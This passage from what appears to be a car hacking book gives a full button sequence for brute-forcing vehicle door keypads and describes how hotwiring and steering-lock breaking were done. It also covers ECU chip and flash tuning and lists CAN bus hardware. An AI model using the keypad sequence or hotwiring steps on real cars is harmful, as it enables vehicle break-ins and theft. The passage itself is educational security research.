lock	on	a	vehicle;	this	particular	method	was	discovered	by	Peter	Boothe
(available	at	http://www.nostarch.com/carhacking/).	If	the	vehicle	has	a	keypad
under	the	door	handle	with	buttons	labeled	1/2,	3/4,	5/6,	7/8,	9/0,	you	can

http://www.atmel.com/
http://www.nostarch.com/carhacking/


manually	enter	the	following	sequence	in	about	20	minutes	to	unlock	the	car
door.	You	don’t	have	to	enter	the	entire	sequence—you	can	stop	entering
the	code	whenever	the	doors	unlock.	For	convenience,	each	button	is	labeled
1,	3,	5,	7,	and	9,	respectively.

9	9	9	9	1	1	1	1	1	3	1	1	1	1	5	1	1	1	1	7	1	1	1	1	9	1	1	1	3	3	1	1	1	3	5	1
1	1	3
7	1	1	1	3	9	1	1	1	5	3	1	1	1	5	5	1	1	1	5	7	1	1	1	5	9	1	1	1	7	3	1	1	1	7	5
1	1	1
7	7	1	1	1	7	9	1	1	1	9	3	1	1	1	9	5	1	1	1	9	7	1	1	1	9	9	1	1	3	1	3	1	1	3	1
5	1	1
3	1	7	1	1	3	1	9	1	1	3	3	3	1	1	3	3	5	1	1	3	3	7	1	1	3	3	9	1	1	3	5	3	1	1	3
5	5	1
1	3	5	7	1	1	3	5	9	1	1	3	7	3	1	1	3	7	5	1	1	3	7	7	1	1	3	7	9	1	1	3	9	3	1	1
3	9	5
1	1	3	9	7	1	1	3	9	9	1	1	5	1	3	1	1	5	1	5	1	1	5	1	7	1	1	5	1	9	1	1	5	3	3	1
1	5	3
5	1	1	5	3	7	1	1	5	3	9	1	1	5	5	3	1	1	5	5	5	1	1	5	5	7	1	1	5	5	9	1	1	5	7	3
1	1	5
7	5	1	1	5	7	7	1	1	5	7	9	1	1	5	9	3	1	1	5	9	5	1	1	5	9	7	1	1	5	9	9	1	1	7	1
3	1	1
7	1	5	1	1	7	1	7	1	1	7	1	9	1	1	7	3	3	1	1	7	3	5	1	1	7	3	7	1	1	7	3	9	1	1	7
5	3	1
1	7	5	5	1	1	7	5	7	1	1	7	5	9	1	1	7	7	3	1	1	7	7	5	1	1	7	7	7	1	1	7	7	9	1	1
7	9	3
1	1	7	9	5	1	1	7	9	7	1	1	7	9	9	1	1	9	1	3	1	1	9	1	5	1	1	9	1	7	1	1	9	1	9	1
1	9	3
3	1	1	9	3	5	1	1	9	3	7	1	1	9	3	9	1	1	9	5	3	1	1	9	5	5	1	1	9	5	7	1	1	9	5	9
1	1	9
7	3	1	1	9	7	5	1	1	9	7	7	1	1	9	7	9	1	1	9	9	3	1	1	9	9	5	1	1	9	9	7	1	1	9	9
9	1	3
1	3	3	1	3	1	3	5	1	3	1	3	7	1	3	1	3	9	1	3	1	5	3	1	3	1	5	5	1	3	1	5	7	1	3	1
5	9	1
3	1	7	3	1	3	1	7	5	1	3	1	7	7	1	3	1	7	9	1	3	1	9	3	1	3	1	9	5	1	3	1	9	7	1	3
1	9	9
1	3	3	1	5	1	3	3	1	7	1	3	3	1	9	1	3	3	3	3	1	3	3	3	5	1	3	3	3	7	1	3	3	3	9	1
3	3	5
3	1	3	3	5	5	1	3	3	5	7	1	3	3	5	9	1	3	3	7	3	1	3	3	7	5	1	3	3	7	7	1	3	3	7	9
1	3	3
9	3	1	3	3	9	5	1	3	3	9	7	1	3	3	9	9	1	3	5	1	5	1	3	5	1	7	1	3	5	1	9	1	3	5	3
3	1	3
5	3	5	1	3	5	3	7	1	3	5	3	9	1	3	5	5	3	1	3	5	5	5	1	3	5	5	7	1	3	5	5	9	1	3	5
7	3	1
3	5	7	5	1	3	5	7	7	1	3	5	7	9	1	3	5	9	3	1	3	5	9	5	1	3	5	9	7	1	3	5	9	9	1	3
7	1	5
1	3	7	1	7	1	3	7	1	9	1	3	7	3	3	1	3	7	3	5	1	3	7	3	7	1	3	7	3	9	1	3	7	5	3	1
3	7	5
5	1	3	7	5	7	1	3	7	5	9	1	3	7	7	3	1	3	7	7	5	1	3	7	7	7	1	3	7	7	9	1	3	7	9	3
1	3	7
9	5	1	3	7	9	7	1	3	7	9	9	1	3	9	1	5	1	3	9	1	7	1	3	9	1	9	1	3	9	3	3	1	3	9	3



5	1	3
9	3	7	1	3	9	3	9	1	3	9	5	3	1	3	9	5	5	1	3	9	5	7	1	3	9	5	9	1	3	9	7	3	1	3	9
7	5	1
3	9	7	7	1	3	9	7	9	1	3	9	9	3	1	3	9	9	5	1	3	9	9	7	1	3	9	9	9	1	5	1	5	3	1	5
1	5	5
1	5	1	5	7	1	5	1	5	9	1	5	1	7	3	1	5	1	7	5	1	5	1	7	7	1	5	1	7	9	1	5	1	9	3	1
5	1	9
5	1	5	1	9	7	1	5	1	9	9	1	5	3	1	7	1	5	3	1	9	1	5	3	3	3	1	5	3	3	5	1	5	3	3	7
1	5	3
3	9	1	5	3	5	3	1	5	3	5	5	1	5	3	5	7	1	5	3	5	9	1	5	3	7	3	1	5	3	7	5	1	5	3	7
7	1	5
3	7	9	1	5	3	9	3	1	5	3	9	5	1	5	3	9	7	1	5	3	9	9	1	5	5	1	7	1	5	5	1	9	1	5	5
3	3	1
5	5	3	5	1	5	5	3	7	1	5	5	3	9	1	5	5	5	3	1	5	5	5	5	1	5	5	5	7	1	5	5	5	9	1	5
5	7	3
1	5	5	7	5	1	5	5	7	7	1	5	5	7	9	1	5	5	9	3	1	5	5	9	5	1	5	5	9	7	1	5	5	9	9	1
5	7	1
7	1	5	7	1	9	1	5	7	3	3	1	5	7	3	5	1	5	7	3	7	1	5	7	3	9	1	5	7	5	3	1	5	7	5	5
1	5	7
5	7	1	5	7	5	9	1	5	7	7	3	1	5	7	7	5	1	5	7	7	7	1	5	7	7	9	1	5	7	9	3	1	5	7	9
5	1	5
7	9	7	1	5	7	9	9	1	5	9	1	7	1	5	9	1	9	1	5	9	3	3	1	5	9	3	5	1	5	9	3	7	1	5	9
3	9	1
5	9	5	3	1	5	9	5	5	1	5	9	5	7	1	5	9	5	9	1	5	9	7	3	1	5	9	7	5	1	5	9	7	7	1	5
9	7	9
1	5	9	9	3	1	5	9	9	5	1	5	9	9	7	1	5	9	9	9	1	7	1	7	3	1	7	1	7	5	1	7	1	7	7	1
7	1	7
9	1	7	1	9	3	1	7	1	9	5	1	7	1	9	7	1	7	1	9	9	1	7	3	1	9	1	7	3	3	3	1	7	3	3	5
1	7	3
3	7	1	7	3	3	9	1	7	3	5	3	1	7	3	5	5	1	7	3	5	7	1	7	3	5	9	1	7	3	7	3	1	7	3	7
5	1	7
3	7	7	1	7	3	7	9	1	7	3	9	3	1	7	3	9	5	1	7	3	9	7	1	7	3	9	9	1	7	5	1	9	1	7	5
3	3	1
7	5	3	5	1	7	5	3	7	1	7	5	3	9	1	7	5	5	3	1	7	5	5	5	1	7	5	5	7	1	7	5	5	9	1	7
5	7	3
1	7	5	7	5	1	7	5	7	7	1	7	5	7	9	1	7	5	9	3	1	7	5	9	5	1	7	5	9	7	1	7	5	9	9	1
7	7	1
9	1	7	7	3	3	1	7	7	3	5	1	7	7	3	7	1	7	7	3	9	1	7	7	5	3	1	7	7	5	5	1	7	7	5	7
1	7	7
5	9	1	7	7	7	3	1	7	7	7	5	1	7	7	7	7	1	7	7	7	9	1	7	7	9	3	1	7	7	9	5	1	7	7	9
7	1	7
7	9	9	1	7	9	1	9	1	7	9	3	3	1	7	9	3	5	1	7	9	3	7	1	7	9	3	9	1	7	9	5	3	1	7	9
5	5	1
7	9	5	7	1	7	9	5	9	1	7	9	7	3	1	7	9	7	5	1	7	9	7	7	1	7	9	7	9	1	7	9	9	3	1	7
9	9	5
1	7	9	9	7	1	7	9	9	9	1	9	1	9	3	1	9	1	9	5	1	9	1	9	7	1	9	1	9	9	1	9	3	3	3	1
9	3	3
5	1	9	3	3	7	1	9	3	3	9	1	9	3	5	3	1	9	3	5	5	1	9	3	5	7	1	9	3	5	9	1	9	3	7	3
1	9	3
7	5	1	9	3	7	7	1	9	3	7	9	1	9	3	9	3	1	9	3	9	5	1	9	3	9	7	1	9	3	9	9	1	9	5	3
3	1	9
5	3	5	1	9	5	3	7	1	9	5	3	9	1	9	5	5	3	1	9	5	5	5	1	9	5	5	7	1	9	5	5	9	1	9	5



7	3	1
9	5	7	5	1	9	5	7	7	1	9	5	7	9	1	9	5	9	3	1	9	5	9	5	1	9	5	9	7	1	9	5	9	9	1	9
7	3	3
1	9	7	3	5	1	9	7	3	7	1	9	7	3	9	1	9	7	5	3	1	9	7	5	5	1	9	7	5	7	1	9	7	5	9	1
9	7	7
3	1	9	7	7	5	1	9	7	7	7	1	9	7	7	9	1	9	7	9	3	1	9	7	9	5	1	9	7	9	7	1	9	7	9	9
1	9	9
3	3	1	9	9	3	5	1	9	9	3	7	1	9	9	3	9	1	9	9	5	3	1	9	9	5	5	1	9	9	5	7	1	9	9	5
9	1	9
9	7	3	1	9	9	7	5	1	9	9	7	7	1	9	9	7	9	1	9	9	9	3	1	9	9	9	5	1	9	9	9	7	1	9	9
9	9	3
3	3	3	3	5	3	3	3	3	7	3	3	3	3	9	3	3	3	5	5	3	3	3	5	7	3	3	3	5	9	3	3	3	7	5	3
3	3	7
7	3	3	3	7	9	3	3	3	9	5	3	3	3	9	7	3	3	3	9	9	3	3	5	3	5	3	3	5	3	7	3	3	5	3	9
3	3	5
5	5	3	3	5	5	7	3	3	5	5	9	3	3	5	7	5	3	3	5	7	7	3	3	5	7	9	3	3	5	9	5	3	3	5	9
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5	9	9	3	3	7	3	5	3	3	7	3	7	3	3	7	3	9	3	3	7	5	5	3	3	7	5	7	3	3	7	5	9	3	3	7
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5	3	7
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7	3	7	9	9	9	3	9	3	9	5	3	9	3	9	7	3	9	3	9	9	3	9	5	5	5	3	9	5	5	7	3	9	5	5	9
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7	5	3	9	5	7	7	3	9	5	7	9	3	9	5	9	5	3	9	5	9	7	3	9	5	9	9	3	9	7	5	5	3	9	7	5
7	3	9
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This	method	works	because	the	key	codes	roll	into	one	another.	The
vehicle	doesn’t	know	where	one	code	ends	and	the	other	one	starts,	which
means	that	you	don’t	have	to	try	each	possibility	in	order	to	stumble	on	the
right	combination.

Flashback:	Hotwiring
No	car	hacking	book	would	be	complete	without	some	discussion	of
hotwiring—a	truly	brute-force	attack.	Unfortunately,	this	attack	has	been
obsolete	since	about	the	mid-1990s,	but	you	still	see	it	in	countless	movies,
so	I’m	including	it	here.	My	goal	isn’t	to	help	you	go	out	and	hotwire	a	car
but	to	give	you	a	sense	of	how	hotwiring	was	done.

In	the	past,	ignition	systems	used	a	vehicle’s	key	to	complete	an	electrical
circuit:	turn	the	key	and	you’ve	connected	the	starter	wire	to	the	ignition
and	battery	wires.	No	tricky	immobilizer	system	got	in	the	way	of	the	vehicle
starting;	the	security	was	purely	electrical.

To	hotwire	a	susceptible	car,	you’d	remove	the	steering	wheel	to	expose
the	ignition	cylinder	and	typically	three	bundles	of	wires.	Using	the	car’s
manual	or	simply	by	tracing	the	wires,	you’d	locate	the	ignition-battery
bundle	and	the	starter	wire.	Next,	you’d	strip	the	battery	and	ignition	wires
and	twist	them	together	(see	Figure	12-9).	Then,	you’d	“spark”	the	bundle
with	the	starter	wire	to	start	the	car.	Once	the	car	started,	you’d	remove	the
starter	wire.



Figure	12-9:	Simple	illustration	of	which	wires	to	cross

If	a	car	had	a	steering	wheel	lock,	you’d	bypass	it	by	breaking	off	the
metal	keyhole	spring	and	breaking	the	lock,	or	sometimes	just	by	forcing	the
wheel	to	turn	until	you	broke	the	lock.

Summary
In	this	chapter,	you	learned	about	low-level	wireless	communications.	We
went	over	methods	for	identifying	wireless	signals	and	common	attacks
against	wireless	communications.	We	demonstrated	a	few	hacks	using	the
TPMS	to	show	that	even	seemingly	benign	devices	are	vulnerable	to	attack.
We	also	reviewed	key	fob	security	and	demonstrated	a	few	simple	hacks
there.	Vehicle	theft	is	rapidly	adapting	to	modern	electronic	vehicles,	and
keyless	system	attacks	are	one	of	the	main	hacks	used	in	thefts.
Understanding	the	different	systems,	their	strengths	and	weaknesses,	and
how	to	attack	them	can	help	you	understand	how	vulnerable	your	vehicle	is
to	theft.	Finally,	we	discussed	some	old-school	nonelectronic	hacks,	like
manually	brute-forcing	door	keypads	and	hotwiring.

In	Chapter	13,	we’ll	look	at	a	common,	and	arguably	less	malicious,	type
of	hacking:	performance	tuning.



13
PERFORMANCE	TUNING

by	Dave	Blundell

Performance	tuning,	frequently	referred	to	simply	as	tuning,	involves	altering
an	engine’s	operating	parameters	to	improve	vehicle	performance.	In	today’s
vehicles,	this	usually	means	modifying	an	engine	computer,	even	for
mechanical	modifications.

Performance	tuning	is	necessary	for	most	automotive	racing.	This	huge
industry—worth	around	$19	billion	annually	worldwide,	according	to	the
Performance	Racing	Industry—draws	almost	half	a	million	people	yearly	to
compete	in	auto	races	in	the	United	States	alone.	And	these	figures	don’t
even	include	the	many	modified	vehicles	that	compete	in	amateur	racing
around	the	world.

Most	performance	tuning	involves	nothing	more	than	changing	the
operating	conditions	of	an	engine	to	achieve	goals	different	than	those	of	the
original	design.	Most	engines	have	substantial	room	for	improvement	in
power	or	economy	if	you’re	willing	to	give	up	a	little	safety	or	use	a	different
fuel	than	the	engine	was	originally	tuned	with.

This	chapter	offers	a	high-level	overview	of	engine	performance	tuning
and	the	compromises	that	must	be	made	when	deciding	which	aspects	of	an
engine’s	operation	to	modify.	Here	are	some	representative	examples	of	the



uses	and	accomplishments	of	performance	tuning:

•	After	a	different	rear	axle	gear	was	installed	in	a	2008	Chevy	Silverado	to
improve	the	truck’s	ability	to	tow	heavy	loads,	the	speedometer	was	thrown
off	because	of	the	change	in	gear	ratio,	the	transmission	was	shifting	too
late,	and	the	antilock	braking	system	was	inoperable.	The	engine	computer
had	to	be	reprogrammed	to	make	the	speedometer	read	correctly,	and	the
transmission	controller	needed	to	be	reprogrammed	to	make	the	truck
shift	properly.	After	proper	calibration,	the	truck	was	able	to	work
correctly.

•	Changing	from	summer	to	winter	tires	in	a	2005	Ford	F350	required
reprogramming	the	engine	and	transmission	computers	in	order	to	ensure
speedometer	accuracy	and	appropriate	transmission	shifting.

•	As	an	alternative	to	junking	a	1995	Honda	Civic	when	the	engine	blew,	a
2000	Honda	CR-V	engine	and	transmission	were	installed.	The	original
engine	computer	was	reprogrammed	and	tuned	to	match	the	new	engine.
This	vehicle	has	since	driven	almost	60,000	miles	after	replacement	of	the
motor.

•	Adjusting	the	timing	of	transmission	shifts	and	the	engine’s	use	of	fuel	and
spark	in	the	factory	computer	made	a	2005	Chevrolet	Avalanche	more	fuel
efficient.	These	changes	improved	fuel	economy	from	a	15.4	mpg	to	a	18.5
mpg	average	while	maintaining	Louisiana	emissions	testing	compliance.

•	The	factory	computer	was	reprogrammed	in	a	1996	Nissan	240	to	match	a
newly	installed	engine	and	transmission.	Before	the	reprogramming,	the
car	could	barely	run.	After	the	reprogramming,	the	car	ran	as	though	it	had
come	from	the	factory	with	the	new	engine.

WARNING

Almost	every	nation	has	its	own	emissions	laws	that	tend	to	prohibit	tampering
with,	disabling,	or	removing	any	emissions-related	system.	Many	performance
modifications,	including	engine	computer	tuning,	involve	changing	the
operation	of	or	removing	emissions	components	from	the	vehicle,	which	may	be
illegal	for	vehicles	operated	on	public	roads.	Consider	local	laws	before
performance	tuning	any	vehicle.



Performance	Tuning	Trade-Offs
If	performance	tuning	is	powerful	and	offers	so	many	benefits,	why	don’t
cars	come	from	the	factory	with	the	best	possible	settings?	The	short	answer
is	that	there	is	no	best	setting;	there	are	only	trade-offs	and	compromises,
which	depend	on	what	you	want	from	any	particular	vehicle.	There’s	always
an	interplay	between	settings.	For	example,	the	settings	for	getting	the	most
horsepower	out	of	a	vehicle	are	not	the	same	as	the	settings	that	deliver	the
best	fuel	economy.	There’s	a	similar	trade-off	between	lowest	emissions,
maximum	fuel	economy,	and	maximum	power.	In	order	to	simultaneously
increase	fuel	economy	and	power	output,	it	is	necessary	to	increase	the
average	pressure	from	combustion,	which	means	the	engine	will	be
operating	closer	to	the	edge	of	safe	operating	conditions.	Tuning	is	a	game
of	compromises	in	which	the	engine	is	configured	to	achieve	a	specific	goal
without	self-destructing.

For	manufacturers,	the	order	of	priority	when	designing	engine
capabilities	is	to	ensure

1.	 that	the	engine	operates	safely,
2.	 that	it	complies	with	emissions	standards	set	by	the	EPA,	and
3.	 that	the	fuel	efficiency	is	as	high	as	possible.

When	manufacturers	design	certain	performance-oriented	vehicles,	such
as	the	Chevrolet	Corvette,	power	output	may	also	be	a	high	priority,	but
only	once	emissions	requirements	have	been	met.	Stock	settings	typically
stop	an	engine	short	of	achieving	maximum	power,	usually	in	order	to
reduce	emissions	and	protect	the	motor.

When	performance	tuning	an	engine	without	modifying	mechanical
parts,	the	following	compromises	are	generally	true:

•	Increasing	power	lowers	fuel	economy	and	generates	higher	hydrocarbon
emissions.

•	Increasing	fuel	economy	can	increase	NOx	emissions.

•	Increasing	torque	increases	the	force	and	stress	on	a	vehicle’s	engine	and
structural	components.

•	Increasing	cylinder	pressure	leads	to	a	higher	chance	of	detonation	and



engine	damage.

That	said,	it	is	actually	possible	to	gain	more	power	and	improve	fuel
economy—by	raising	the	brake	mean	effective	pressure	(BMEP).	The
BMEP	is	essentially	the	average	pressure	applied	to	the	pistons	during
engine	operation.	The	trade-off	here,	however,	is	that	it’s	hard	to	raise
BMEP	significantly	without	also	increasing	the	peak	cylinder	pressure
during	a	combustion	event,	and	so	increasing	the	chance	of	detonation.
There	are	firm	limits	on	the	maximum	peak	pressure	in	a	given	situation	due
to	the	motor’s	physical	construction,	the	fuel	being	used,	and	physical	and
material	factors.	Increasing	peak	cylinder	pressure	beyond	a	certain	limit	will
generally	result	in	combustion	without	spark	due	to	autoignition,	also	known
as	detonation,	which	will	typically	destroy	engines	quickly.

ECU	Tuning
Engine	computers	are	the	vehicle	computers	most	commonly	modified	for
performance	tuning.	Most	performance	modifications	are	designed	to
change	an	engine’s	physical	operation,	which	often	requires	a	corresponding
change	to	the	calibration	of	the	engine	computer	to	achieve	optimal
operation.	Sometimes	this	recalibration	requires	physically	modifying	a
computer	by	removing	and	reprogramming	chips,	known	as	chip	tuning.	In
other	cases,	it’s	possible	to	reprogram	the	ECU	by	communicating	with	it
using	a	special	protocol	instead	of	physically	modifyng	it,	which	is	called
flash	programming	or	just	flashing.

Chip	Tuning
Chip	tuning	is	the	oldest	form	of	engine	computer	modification.	Most	early
engine	controllers	used	dedicated	ROM	memory	chips.	In	order	to	change	a
chip’s	operation,	you	had	to	physically	remove	the	chip,	reprogram	it	outside
the	ECU,	and	then	reinstall	it—a	process	called	chipping.	Users	who	expect
to	make	repeated	modifications	on	older	vehicles	often	install	sockets	in
place	of	the	ROM	to	allow	easier	insertion	and	removal	of	chips.

Automotive	computers	use	many	different	kinds	of	memory	chips.	Some
can	be	programmed	only	one	time,	but	most	can	be	erased	and	reused.	Some
older	chips	have	a	window	on	them	and	require	UV-C	light—a	sterilizer—in



order	to	erase	them.

EPROM	Programmers
Chip	tuning	generally	requires	an	EPROM	programmer,	a	device	that	reads,
writes,	and—if	supported—programs	chips.	When	chip	tuning,	be	very
careful	to	make	sure	that	the	programmer	you	buy	works	with	the	type	of
chip	you	intend	to	modify.	There’s	no	such	thing	as	a	truly	universal	chip
programmer.	Here	are	a	couple	of	popular	EPROM	programmers:

BURN2	A	relatively	cheap	basic	programmer	(about	$85)	that	supports
common	EPROMs	used	in	chip	programming.	It	features	a	USB
interface	with	an	open	command	set,	along	with	many	tuning	applications
that	already	have	native	support	(https://www.moates.net/chip-
programming-c-94.html).

Willem	Another	popular	ROM	burner	(from	$50	to	$100,	depending	on
the	model).	The	original	Willem	used	a	parallel	port	interface,	but	newer
versions	use	USB.	(Look	for	the	Willem	on	Ebay	or	MCUMall.com.)

Almost	all	EPROM	programmers	support	only	dual	in-line	package
(DIP)	chips.	If	your	vehicle’s	computer	uses	surface	mount–style	chips,	you’ll
probably	need	to	purchase	an	appropriate	additional	adapter.	It’s	generally	a
good	idea	to	get	any	adapters	from	the	same	source	as	the	programmer	to
ensure	compatibility.	All	adapters	should	be	considered	custom	hardware.

Figure	13-1	shows	a	ROM	adapter	board	installed	in	a	Nissan	ECU.	The
two	empty	28-pin	sockets	in	the	lower-left	corner	have	been	added	to	the
original	ECU.	Some	soldering	is	often	required	to	modify	and	add	ROM
boards	such	as	this	one.

https://www.moates.net/chip-programming-c-94.html


Figure	13-1:	A	1992	S13	Nissan	KA24DE	ECU	with	a	Moates	ROM
adapter	board	installed

ROM	Emulators
One	of	the	big	advantages	of	chip	tuning	over	other	tuning	methods	is	that	it
allows	the	use	of	ROM	emulators,	which	store	the	contents	of	ROM	in	some
form	of	nonvolatile	read/write	memory	so	that	you	can	make	instant
modifications	to	ROM.	By	allowing	more	or	less	instant	changes,	ROM
emulators	can	greatly	reduce	the	amount	of	time	required	to	tune	a	vehicle
compared	to	flash	tuning,	which	is	usually	much	slower	for	updates.

ROM	emulators	generally	use	a	USB	or	serial	connection	to	a	PC	and
software	that	updates	the	emulator	to	keep	it	synchronized	with	a	working
image	on	the	PC.	The	following	are	recommended	ROM	emulators:

Ostrich2	A	ROM	emulator	designed	for	8-bit	EPROMs	ranging	from	4k
(2732A)	to	512k	(4mbit	29F040)	and	everything	in	between	(27C128,
27C256,	27C512).	It	is	relatively	inexpensive	at	about	$185,	and	features



a	USB	interface	with	an	open	command	set,	as	well	as	many	tuning
applications	that	already	have	native	support
(https://www.moates.net/ostrich-20-the-new-breed-p-169.html).

RoadRunner	A	ROM	emulator	aimed	at	16-bit	EPROMs,	like	28F200,
29F400,	and	28F800	in	a	PSOP44	package	(see	Figure	13-2).	It	is	also
relatively	inexpensive	at	about	$489	and	features	a	USB	interface	with	an
open	command	set	and	many	tuning	applications	that	already	have	native
support	(https://www.moates.net/roadrunnerdiy-guts-kit-p-118.html).

Figure	13-2:	The	RoadRunner	emulator	connected	to	a	Chevrolet
12200411	LS1	PCM

OLS300	An	emulator	that	works	with	only	WinOLS	software.	It	is
around	$3,000	(you	have	to	get	a	quote)	and	emulates	a	variety	of	8-and
16-bit	EPROMs	natively	(http://www.evc.de/en/product/ols/ols300/).

Flash	Tuning
Unlike	chip	tuning,	flash	tuning	(also	known	as	flashing)	requires	no	physical
modifications.	When	flashing,	you	reprogram	the	ECU	by	communicating
with	it	using	specialized	protocols.

The	first	flashable	ECUs	became	available	around	1996.	J2534	DLLs

https://www.moates.net/ostrich-20-the-new-breed-p-169.html
https://www.moates.net/roadrunnerdiy-guts-kit-p-118.html
http://www.evc.de/en/product/ols/ols300/


combined	with	OEM	software	provide	access	to	a	method	of	flash
programming,	but	most	tuning	software	bypasses	this	entirely	and
communicates	natively	with	the	ECU.	Most	aftermarket	tuning	packages—
such	as	HP	tuners,	EFI	Live,	Hondata,	and	Cobb—use	a	proprietary	piece
of	hardware	instead	of	a	J2534	pass-through	device.	The	Binary	Editor
(http://www.eecanalyzer.net/)	is	one	example	of	software	that	offers	J2534	as
an	option	for	programming	Ford	vehicles	using	supported	J2534	interfaces.

RomRaider
RomRaider	(http://www.romraider.com/)	is	a	free,	open	source	tuning	tool
designed	for	Subaru	vehicles.	With	that,	you	can	use	the	Tactrix	OpenPort
2.0—a	piece	of	pass-through	hardware	(http://www.tactrix.com/,	about	$170)
that	works	well	with	RomRaider.	Once	you	have	a	pass-through	cable
hooked	up	to	the	ECU,	RomRaider	allows	you	to	download	the	ECU’s	flash
memory.	You	can	then	open	these	flash	images	with	a	definitions	file,	or	def,
which	maps	the	locations	and	structure	of	parameters	within	the	image,	and
provides	the	formulas	to	display	data	in	a	human-readable	format.	This
mapping	lets	you	quickly	locate	and	change	engine	parameters	without
having	to	disassemble	the	flash.	Figure	13-3	shows	RomRaider	with	a	flash
image	and	definition	loaded.

http://www.eecanalyzer.net/
http://www.romraider.com/
http://www.tactrix.com/


Figure	13-3:	RomRaider	ECU	editor

Stand-Alone	Engine	Management
One	alternative	to	reverse	engineering	factory	computers	is	to	simply	replace
them	with	an	aftermarket	part.	A	popular	stand-alone	engine	computer	is	the
MegaSquirt	(http://megasquirt.info/),	which	is	a	family	of	boards	and	chips
that	will	work	with	just	about	any	fuel-injected	engine.

MegaSquirt	has	its	roots	in	the	DIY	community	and	was	designed	to
enable	people	to	program	their	own	engine	computers.	Early	MegaSquirt
units	typically	required	you	to	assemble	the	board	yourself,	but	these
versions	often	resulted	in	confusion,	with	many	competing	user-assembled
hardware	designs	that	were	not	quite	compatible.	Current	designs	have
therefore	moved	toward	a	pre-made	format	in	order	to	provide	a	more
consistent	and	uniform	hardware	platform.

There	are	several	multiplatform	tools	available	for	use	with	the
MegaSquirt	hardware.	Figure	13-4	shows	the	most	popular	one:
TunerStudio	(http://www.tunerstudio.com/index.php/tuner-studio/,	around	$60).
TunerStudio	lets	you	modify	parameters,	view	sensors	and	engine	operating

http://megasquirt.info/
http://www.tunerstudio.com/index.php/tuner-studio/


conditions,	record	data,	and	analyze	data	to	make	targeted	changes.

Figure	13-4:	TunerStudio	gauge	cluster

Summary
This	chapter	shows	how	an	understanding	of	a	vehicle’s	embedded	systems
can	be	used	to	change	its	behavior.	We’ve	seen	how	almost	any	changes
made	to	a	vehicle,	even	mechanical	modifications,	require	some
reprogramming	of	the	vehicle’s	computer.	We’ve	looked	at	how	alterations
in	standard	factory	settings	result	in	performance	trade-offs	and
compromises,	such	that	the	“best”	settings	for	a	vehicle	will	always	depend
on	your	specific	goals.	We’ve	also	shown	a	few	examples	of	performance
tuning	methods,	including	chip	and	flash	tuning,	and	presented	some
common	hardware	and	software	tools	used	for	tuning	cars.



A
TOOLS	OF	THE	TRADE

This	section	discusses	different	tools	that	you	may	want	to	use	when
researching	a	vehicle.	I’ve	chosen	to	focus	on	low-cost	devices	and	software
because	it’s	important	to	me	that	as	many	people	as	possible	participate	in
the	research.

Open	Garages	is	willing	to	showcase	and	promote	tools	to	aid	with
automotive	research.	If	your	company	produces	a	great	product,	feel	free	to
contact	Open	Garages,	but	unless	there’s	an	open	way	to	contribute	to	your
tool,	don’t	expect	free	publicity.

Hardware
In	this	section,	we’ll	cover	boards,	like	the	ChipWhisperer,	as	well	as
dongle-like	devices	that	provide	CAN	connectivity.	We’ll	first	look	at	lower-
cost,	open	source	hardware	and	then	explore	some	higher-end	devices	for
those	willing	to	spend	a	bit	more	money.

Though	there	are	many	cost-effective	devices	for	communicating	with
the	CAN	bus,	the	software	needed	to	interact	with	these	devices	can	be
lacking,	so	you’ll	often	need	to	write	your	own.



Lower-End	CAN	Devices
These	devices	are	useful	for	sniffing	the	contents	of	your	CAN	bus	and
injecting	packets.	They	range	from	hobbyist-level	boards	to	professional
devices	that	support	lots	of	custom	features	and	can	handle	many	different
CAN	buses	simultaneously.

Arduino	Shields
Numerous	Arduino	and	Arduino-like	devices	($20	to	$30,
https://www.arduino.cc/)	will	support	CAN	with	the	addition	of	an	Arduino
shield.	Here	are	some	Arduino	shields	that	support	CAN:

CANdiy-Shield	MCP2515	CAN	controller	with	two	RJ45	connectors
and	a	protoarea

ChuangZhou	CAN-Bus	Shield	MCP2515	CAN	controller	with	a	D-
sub	connector	and	screw	terminals

DFRobot	CAN-Bus	Shield	STM32	controller	with	a	D-sub	connector

SeeedStudio	SLD01105P	CAN-Bus	Shield	MCP2515	CAN	controller
with	a	D-sub	connector

SparkFun	SFE	CAN-Bus	Shield	MCP2515	CAN	controller	with	a	D-
sub	connector	and	an	SD	card	holder;	has	connectors	for	an	LCD	and
GPS	module

These	shields	are	all	pretty	similar.	Most	run	the	MCP2515	CAN
controller,	though	the	DFRobot	shield	uses	a	STM32,	which	is	faster	with
more	buffer	memory.

Regardless	of	which	shield	you	choose,	you’ll	have	to	write	code	for	the
Arduino	in	order	to	sniff	packets.	Each	shield	comes	with	a	library	designed
to	interface	with	the	shield	programmatically.	Ideally,	these	buses	should
support	something	like	the	LAWICEL	protocol,	which	allows	them	to	send
and	receive	packets	over	serial	via	a	userspace	tool	on	the	laptop,	such	as
SocketCAN.

Freematics	OBD-II	Telematics	Kit
This	Arduino-based	OBD-II	Bluetooth	adapter	kit	has	both	an	OBD-II

https://www.arduino.cc/


device	and	a	data	logger,	and	it	comes	with	GPS,	an	accelerometer,	and	gyro
and	temperature	sensors.

CANtact
CANtact,	an	open	source	device	by	Eric	Evenchick,	is	a	very	affordable	USB
CAN	device	that	works	with	Linux	SocketCAN.	It	uses	a	DB	9	connector
and	has	the	unique	advantage	of	using	jumper	pins	to	change	which	pins	are
CAN	and	ground—a	feature	that	allows	it	to	support	both	US-	and	UK-
style	DB9	to	OBD-II	connectors.	You	can	get	CANtact	from
http://cantact.io/.

Raspberry	Pi
The	Raspberry	Pi	is	an	alternative	to	the	Arduino	that	costs	about	$30	to

$40.	The	Pi	provides	a	Linux	operating	system	but	doesn’t	include	a	CAN
transceiver,	so	you’ll	need	to	purchase	a	shield.

One	of	the	advantages	of	using	a	Raspberry	Pi	over	an	Arduino	is	that	it
allows	you	to	use	the	Linux	SocketCAN	tools	directly,	without	the	need	to
buy	additional	hardware.	In	general,	a	Raspberry	Pi	can	talk	to	an	MCP2515
over	SPI	with	just	some	basic	wiring.	Here	are	some	Raspberry	Pi
implementations:

Canberry	MCP2515	CAN	controller	with	screw	terminals	only	(no	D-
sub	connector;	$23)

Carberry	Two	CAN	bus	lines	and	two	GMLAN	lines,	LIN,	and	infrared
(doesn’t	appear	to	be	an	open	source	shield;	$81)

PICAN	CAN-Bus	Board	MCP2515	CAN	controller	with	D-sub
connector	and	screw	terminals	($40	to	$50)

ChipKit	Max32	Development	Board	and	NetworkShield
The	ChipKit	board	is	a	development	board	that	together	with	the
NetworkShield	can	give	you	a	network-interpretable	CAN	system,	as
discussed	in	“Translating	CAN	Bus	Messages”	on	page	85.	About	$110,	this
open	source	hardware	solution	is	touted	by	the	OpenXC	standard	and
